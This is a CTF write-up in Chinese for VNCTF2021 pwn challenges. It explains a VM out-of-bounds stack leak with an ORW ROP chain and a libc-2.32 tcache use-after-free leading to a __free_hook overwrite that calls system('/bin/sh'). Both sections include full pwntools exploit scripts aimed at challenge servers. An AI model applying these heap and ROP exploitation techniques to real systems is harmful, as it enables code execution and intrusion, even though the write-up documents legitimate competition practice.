VNCTF2021

第一篇wp

hh

一个虚拟机pwn,乍一看感觉有很多危险的点啊hhh

首先,输入是输入到bss段的,然后都是对栈上的数据做操作,而且下标是完全可以溢出的

例如,这里我用的是0xa:

a1[v12]-1是可控的,也就是说可以溢出v28数组外,在栈上任意取数据写进v28

再配合上0xe的输出功能,就可以泄露栈上的libc地址了

由于程序开了沙箱,我们就需要在返回地址处写上orw链

分析程序,要写到返回地址,第一步,写数据到v28数组,第二步,越界迁移v28的数据到返回地址处

我用的分别是以下两个功能:

a1[v11]可控,也就实现写任意数据到v28

v15可控,即实现将v28的数据写到任意偏移处(返回地址)

完整exp:

(打比赛的时候懒得写函数了,看着乱hhh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./hh')
libc=ELF('./libc.so.6')
else:
sh=remote("node3.buuoj.cn",28887)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
one_gadget=[0x45226,0x4527a,0xf0364,0xf1207]
def add(content):
sla("Give me you choice :","1")
sa("code:",content)
def exe():
sla("Give me you choice :","2")
sleep(1)
# pause()
payload=p32(0xa)+p32(1015)
payload+=p32(0xa)+p32(1016)
payload+=p32(0xe)*2
payload+=p32(16)*150
payload+="/flag"
add(payload)
# pause()
flag_addr=0x6022d0

exe()
ru("\n")
high1=int(rc(4),16)
high=high1*0x100000000
ru("\n")
low=int(ru("\n")[:-1],16)
leak("high",high1)
leak("low",low)
libc_main=high+low-240
libc_base=libc_main-libc.sym['__libc_start_main']
one=libc_base+one_gadget[0]

poprdi=libc_base+0x0000000000021112
poprdxrsi=libc_base+0x0000000000115189
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
puts_addr=libc_base+libc.sym['puts']

leak("libc_main",libc_main)
leak("libc_base",libc_base)
leak("one",one)

payload=p32(0x9)+p32(poprdi&0xffffffff)
payload+=p32(0x9)+p32(high1)
payload+=p32(0x9)+p32(flag_addr)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(poprdxrsi&0xffffffff)
payload+=p32(0x9)+p32(high1)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(open_addr&0xffffffff)
payload+=p32(0x9)+p32(high1)

payload+=p32(0x9)+p32(poprdi&0xffffffff)
payload+=p32(0x9)+p32(high1)
payload+=p32(0x9)+p32(0x3)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(poprdxrsi&0xffffffff)
payload+=p32(0x9)+p32(high1)
payload+=p32(0x9)+p32(0x50)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(0x603060)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(read_addr&0xffffffff)
payload+=p32(0x9)+p32(high1)

payload+=p32(0x9)+p32(poprdi&0xffffffff)
payload+=p32(0x9)+p32(high1)
payload+=p32(0x9)+p32(0x603060)
payload+=p32(0x9)+p32(0)
payload+=p32(0x9)+p32(puts_addr&0xffffffff)
payload+=p32(0x9)+p32(high1)

payload+=p32(0xc)+p32(1044)
payload+=p32(0xc)+p32(1043)
payload+=p32(0xc)+p32(1042)
payload+=p32(0xc)+p32(1041)
payload+=p32(0xc)+p32(1040)
payload+=p32(0xc)+p32(1039)
payload+=p32(0xc)+p32(1038)
payload+=p32(0xc)+p32(1037)
payload+=p32(0xc)+p32(1036)
payload+=p32(0xc)+p32(1035)
payload+=p32(0xc)+p32(1034)
payload+=p32(0xc)+p32(1033)
payload+=p32(0xc)+p32(1032)
payload+=p32(0xc)+p32(1031)
payload+=p32(0xc)+p32(1030)
payload+=p32(0xc)+p32(1029)
payload+=p32(0xc)+p32(1028)
payload+=p32(0xc)+p32(1027)
payload+=p32(0xc)+p32(1026)
payload+=p32(0xc)+p32(1025)
payload+=p32(0xc)+p32(1024)
payload+=p32(0xc)+p32(1023)
payload+=p32(0xc)+p32(1022)
payload+=p32(0xc)+p32(1021)
payload+=p32(0xc)+p32(1020)
payload+=p32(0xc)+p32(1019)
payload+=p32(0xc)+p32(1018)
payload+=p32(0xc)+p32(1017)
payload+=p32(0xc)+p32(1016)
payload+=p32(0xc)+p32(1015)
payload+=p32(0xc)+p32(1014)
payload+=p32(16)
add(payload)
# pause()
exe()
# pause()
sla("Give me you choice :","3")
# pause()
ti()

ff

libc-2.32下的uaf:

不过,拥有很多的限制,edit只能两次,show只有一次

其次,edit,show和delete都只能对最近申请的chunk操作

之前没研究过libc-2.32,发现在chunk放入tcache的时候有些不一样,fd指针处并不像之前几个版本的tcache那样

不多说,直接翻源码

发现在tcache插入和取出时多了个PROTECT_PTR和REVEAL_PTR,看定义

插入时将堆地址右移12位,与tcache->entries作抑或后写入fd

当tcache链上只有一个chunk时,fd的值即为chunk_addr>>12^0 = chunk_addr>>12

问题不大,还是可以借此泄露堆地址的

现在需要考虑的是,show只有一次,给堆地址还是libc?

我一开始是想给libc的,考虑之后发现,留给libc的话,泄露之后,没有edit,没有show,剩下就很难操作了

由于tcache插入的时候的PROTECT的,加上这题idx的局限性,使得链式攻击达到任意写比较难完成

泄露堆地址,攻击tcache结构体,布置entry成了一个办法,这样可以实现在堆内的多次任意写,然后申请到IO_FILE泄露libc

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
libc=ELF('./libc.so.6')
else:
sh=remote("node3.buuoj.cn",29725)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(size,content):
sla(">>","1")
sla("Size:",str(size))
sa("Content:",content)
def show():
sla(">>","3")
def delete():
sla(">>","2")
def edit(content):
sla(">>","5")
sa("Content:",content)

sleep(1)

add(0x7f,p64(0)+p64(0x21)*7)
add(0x78,p64(0)+p64(0x21)*7)
delete()
add(0x68,p64(0)+p64(0x21)*6)
delete()
add(0x7f,p64(0)+p64(0x21)*7)
delete()
add(0x10,'a')
delete()

add(0x38,'a')
delete()

add(0x58,'a')
delete()
show()
heap_addr=u64(ru("\x31")[:-1].ljust(8,"\x00"))
heap_base=heap_addr<<12
leak("heap_base",heap_base)
key=(heap_base+0x90)^(heap_addr)
leak("key",key)

edit('a'*0x10)
delete()
edit(p64(key)*2)
add(0x58,'a')
payload=p64(heap_base+0xa0)+p64(0x431)+p64(heap_base+0xa0)*4
payload+=p64(heap_base+0xa0)*2
add(0x58,payload)

add(0x10,'a')
delete()

add(0x7f,"\xc0\x46")

add(0x38,p64(0xfbad1800)+p64(0)*3+"\x00")

io_file=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("io_file",io_file)
libc_base=io_file-0x1e4744
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

add(0x78,p64(0)*3+p64(free_hook-16))
add(0x68,"/bin/sh\x00"+p64(system)*2)
delete()
ti()

white_give_flag

比赛时候不会,read返回0方法get

0%